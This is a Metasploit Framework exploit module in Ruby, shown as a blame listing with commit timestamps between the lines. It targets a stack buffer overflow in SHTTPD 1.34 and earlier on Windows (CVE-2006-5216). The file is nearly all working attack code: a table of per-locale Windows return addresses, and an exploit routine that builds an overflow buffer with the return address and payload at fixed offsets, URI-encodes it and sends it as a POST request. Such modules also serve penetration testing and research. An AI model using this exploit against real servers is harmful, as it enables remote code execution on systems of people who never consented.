2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-10-15 07:53:19 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2006-10-15 07:53:19 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2006-10-15 07:53:19 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-10-15 07:53:19 +00:00
|
|
|
'Name' => 'SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in SHTTPD <= 1.34.
|
2006-10-15 07:53:19 +00:00
|
|
|
The vulnerability is caused due to a boundary error within the
|
|
|
|
handling of POST requests. Based on an original exploit by skOd
|
2010-04-30 08:40:19 +00:00
|
|
|
but using a different method found by hdm.
|
2006-10-15 07:53:19 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'LMH <lmh [at] info-pull.com>', 'hdm', 'skOd'],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-10-15 07:53:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'CVE', '2006-5216'],
|
|
|
|
[ 'OSVDB', '29565' ],
|
2006-10-15 07:53:19 +00:00
|
|
|
[ 'URL', 'http://shttpd.sourceforge.net'],
|
|
|
|
[ 'BID', '20393'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-10-15 07:53:19 +00:00
|
|
|
[
|
|
|
|
# Except for Spanish locale target, all come from:
|
|
|
|
# http://metasploit.com/users/opcode/msfopcode.cgi
|
|
|
|
[ 'Windows NT English SP5-SP6', { 'Ret' => 0x776a183a } ],
|
|
|
|
[ 'Windows 2000 Spanish SP4', { 'Ret' => 0x79496391 } ],
|
|
|
|
[ 'Windows 2000 French SP4', { 'Ret' => 0x74fb108d } ],
|
|
|
|
[ 'Windows 2000 English SP0-SP4', { 'Ret' => 0x75021421 } ],
|
|
|
|
[ 'Windows 2000 French SP0-SP4', { 'Ret' => 0x74fa3144 } ],
|
|
|
|
[ 'Windows 2003 Server English SP0-SP1', { 'Ret' => 0x77d877d3 } ],
|
|
|
|
[ 'Windows XP German SP2', { 'Ret' => 0x71a02975 } ],
|
|
|
|
[ 'Windows XP German SP1', { 'Ret' => 0x71a02a6a } ],
|
|
|
|
[ 'Windows XP English SP2', { 'Ret' => 0x71aa1e08 } ],
|
|
|
|
[ 'Windows XP English SP0-SP1', { 'Ret' => 0x71aa1aaa } ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 6 2006'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80)
|
|
|
|
], self.class )
|
2006-10-15 07:53:19 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
pat = rand_text_alphanumeric(4000)
|
2006-10-15 07:53:19 +00:00
|
|
|
pat[8,4] = [target.ret].pack('V')
|
|
|
|
pat[103, payload.encoded.length] = payload.encoded
|
|
|
|
pat = Rex::Text.uri_encode(pat)
|
|
|
|
|
|
|
|
res = "post /#{pat} HTTP/1.0\r\n\r\n"
|
|
|
|
|
|
|
|
print_status("Trying target address 0x%.8x..." % target.ret)
|
|
|
|
sock.put(res)
|
|
|
|
sock.close
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-10-15 07:53:19 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|